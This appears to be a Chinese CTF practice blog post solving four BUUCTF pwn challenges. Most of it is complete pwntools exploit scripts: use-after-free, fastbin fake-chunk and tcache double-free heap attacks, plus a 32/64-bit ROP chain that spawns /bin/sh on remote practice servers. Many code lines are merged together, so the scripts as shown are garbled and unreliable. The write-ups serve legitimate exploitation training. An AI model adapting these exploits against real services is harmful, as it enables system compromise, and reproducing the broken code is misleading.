PWN-PRACTICE-BUUCTF-29

  • actf_2019_babyheap
  • wustctf2020_easyfast
  • 强网杯2019 拟态 STKOF
  • hitcon_2018_children_tcache

actf_2019_babyheap

UAF,创建两个非0x10大小的chunk,比如两个0x20
程序会创建四个chunk,大小依次为0x10,0x20,0x10,0x20
按序free掉创建的chunk,两个0x10大小的chunk形成一条链,两个0x20大小的chunk形成一条链
再创建一个0x10大小的chunk,会用到两个在fastbin中0x10大小的chunk
新创建的chunk内容为"/bin/sh"的地址和system的实际地址
最后show(0)即可system("/bin/sh")

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babyheap")
io=remote("node4.buuoj.cn",27740)
elf=ELF("./ACTF_2019_babyheap")
libc=ELF("./libc-2.27-18-x64.so")def add(size,content):io.sendlineafter("Your choice: ","1")io.sendlineafter("Please input size: \n",str(size))io.sendafter("Please input content: \n",content)
def free(index):io.sendlineafter("Your choice: ","2")io.sendlineafter("Please input list index: \n",str(index))
def show(index):io.sendlineafter("Your choice: ","3")io.sendlineafter("Please input list index: \n",str(index))system_plt=elf.plt["system"]
binsh=0x602010add(0x20,"aaaa")#0
add(0x20,"bbbb")#1free(0)
free(1)add(0x10,p64(binsh)+p64(system_plt))#2
show(0)io.interactive()

wustctf2020_easyfast

UAF,根据0x602090地址处的值来决定是否执行system("/bin/sh")
想办法在0x602090-0x10=0x602080处创建一个chunk,然后修改0x602090处的值为0
可以看到0x602088处有一个值0x50,实际上是当作fake chunk的size域
利用UAF,改写chunk的fd域,使之指向0x602080处,再创建fake chunk改写0x602090的值

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./wustctf2020_easyfast")
io=remote("node4.buuoj.cn",28112)
elf=ELF("./wustctf2020_easyfast")
libc=ELF("./libc-2.23-16-x64.so")def add(size):io.sendlineafter("choice>\n","1")io.sendlineafter("size>\n",str(size))
def free(index):io.sendlineafter("choice>\n","2")io.sendlineafter("index>\n",str(index))
def edit(index,content):io.sendlineafter("choice>\n","3")io.sendlineafter("index>\n",str(index))io.sendline(content)
def shell():io.sendlineafter("choice>\n","4")shell_flag=0x602090add(0x40)#0
add(0x40)#1
free(0)
edit(0,p64(shell_flag-0x10))
add(0x40)#2
add(0x40)#3
edit(3,p64(0))
shell()
io.interactive()

强网杯2019 拟态 STKOF

栈溢出,但是加了拟态防御,参考:拟态防御题型pwn&web初探

# -*- coding:utf-8 -*-
from pwn import *
from struct import packdef payload32():p = ''p += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x080a8af6) # pop eax ; retp += '/bin'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9064) # @ .data + 4p += pack('<I', 0x080a8af6) # pop eax ; retp += '//sh'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x080d9060) # padding without overwrite ebxp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x080a8af6) # pop eax ; retp += p32(0xb)p += pack('<I', 0x080495a3) # int 0x80return pdef payload64():p = ''p += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x000000000043b97c) # pop rax ; retp += '/bin//sh'p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004005f6) # pop rdi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x000000000043b9d5) # pop rdx ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack('<Q', 0x000000000043b97c) # pop rax ; retp += p64(0x3b)p += pack('<Q', 0x00000000004011dc) # syscallreturn pio=remote("node4.buuoj.cn",25016)
add_esp=0x080a8f69 # add esp, 0xc ; ret
add_rsp=0x00000000004079d5 # add esp, 0xd8 ; ret
payload="a"*0x10C+"\x00"*4+p64(add_esp)+p64(add_rsp)
payload+=payload32().ljust(0xd8,"\x00")
payload+=payload64()
io.sendline(payload)
io.interactive()

hitcon_2018_children_tcache

obo + tcache,参考:HITCON_2018_children_tcache

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./HITCON_2018_children_tcache")
io=remote("node4.buuoj.cn",25946)
elf=ELF("./HITCON_2018_children_tcache")
libc=ELF("./libc-2.27-18-x64.so")def add(size,content):io.sendlineafter("Your choice: ","1")io.sendlineafter("Size:",str(size))io.sendlineafter("Data:",content)
def show(index):io.sendlineafter("Your choice: ","2")io.sendlineafter("Index:",str(index))
def free(index):io.sendlineafter("Your choice: ","3")io.sendlineafter("Index:",str(index))#gdb.attach(io)
#pause()add(0x410,"aaaa")#0
add(0xe8,"bbbb")#1
add(0x4f0,"cccc")#2
add(0x60,"dddd")#3#pause()free(0)#pause()free(1)#pause()for i in range(6):add(0xe8-i,"b"*(0xe8-i))free(0)#pause()add(0xe8,"b"*0xe0+p64(0x510))#0#pause()free(2) #合并chunk#pause()add(0x410,"aaaa")#1#pause()show(0)
offset=0x3ebca0
leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("leak_addr=="+hex(leak_addr))
libc_base=leak_addr-offset
print("libc_base=="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
ones=[0x4f2c5,0x4f322,0x10a38c]
one_gadget=libc_base+ones[1]#pause()add(0x60,"dddd")#2#pause()free(0)#pause()free(2) #double free#pause()add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
add(0x60,p64(one_gadget))#pause()free(0)io.interactive()

PWN-PRACTICE-BUUCTF-29相关推荐

  1. Pytorch基础打卡01

    1 课程规划 1.1 第一部分 pytorch深度学习基础知识 pytorch简介与安装 pytorch基础知识 pytorch 主要组成模块 基础实战 Fashion-MNIST时装分类 ## 1. ...

  2. ACTF出题(dropper+master_of_dns)

    前序 在xctf分站赛中出了两道题,分别是dropper和master_of_dns,两道题都偏简单一点,dropper解题31个队,master_of_dns解题三个队,可能是第二天放题的缘故. 出 ...

  3. MD5碰撞与撞库和题

    MD5 相同的情况叫做"碰撞",现在网络中已经出现了两个相同的 MD5 可执行文件,所以MD5现在已经被弃用了,发生碰撞的概率是1/(2^128). SHA-1 也会发生碰撞,但是 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  8. [PWN] BUUCTF jarvisoj_fm

    [PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...

  9. buuctf(pwn)

    胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...

  10. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

最新文章

  1. NodeJs回调操作Promise化
  2. Restlet Client 安装 网盘里面有压缩文件夹下载引用即可 谷歌浏览器
  3. 23期PHP基础班第四天
  4. 在8080端口输出php的输出,端口8080上的PHP错误
  5. Android应用【世界杯知识答题】的界面设计经验
  6. 学习日常笔记day11cookie及session
  7. member.php?mod=register文件在哪里,DEDECMS修改member会员中心文件夹名称 更改member目录名称...
  8. key rocketmq 有什么用_rocketmq 介绍(一)
  9. Kaldi语音识别库linux环境下的安装和编译
  10. h5打开小程序的方法 总结
  11. JAVA HD japan_电竞小金刚:优派VX2778-hd-PRO
  12. 第512章 河系量子计算机,分身投胎万界(猛虎道长著)_第512章、河系量子计算机_历史军事小说_笔趣阁...
  13. 系列ML.Net 学习篇【一】——初识机器学习
  14. Bootstrap3的栅格化布局样式
  15. 狼在猪面前自杀了(超级搞笑)
  16. 程序人生:程序员如何实现财富自由?
  17. 无法斑驳的青春,折射出心里每一丝憧憬和每一缕不甘
  18. Hello Jexus
  19. STM32程序烧录---TTL
  20. jquery ui 改写cloes事件

热门文章

  1. Windows 8.1 Windows Phone 开发环境安装遇到的问题
  2. python-pass
  3. 小甲鱼Python笔记(下)
  4. 线性回归与 logistic回归
  5. 力扣:组合总和 II DFS剪枝
  6. mfc cimage加载显示图片_在微信小程序里实现图片预加载组件
  7. asterisk语音信箱voicemail.conf
  8. Linux Kbuild文档 2
  9. python读取图像数据流_浅谈TensorFlow中读取图像数据的三种方式
  10. excel办公常用的宏_让领导看傻!精美168套办公常用excel模板免费领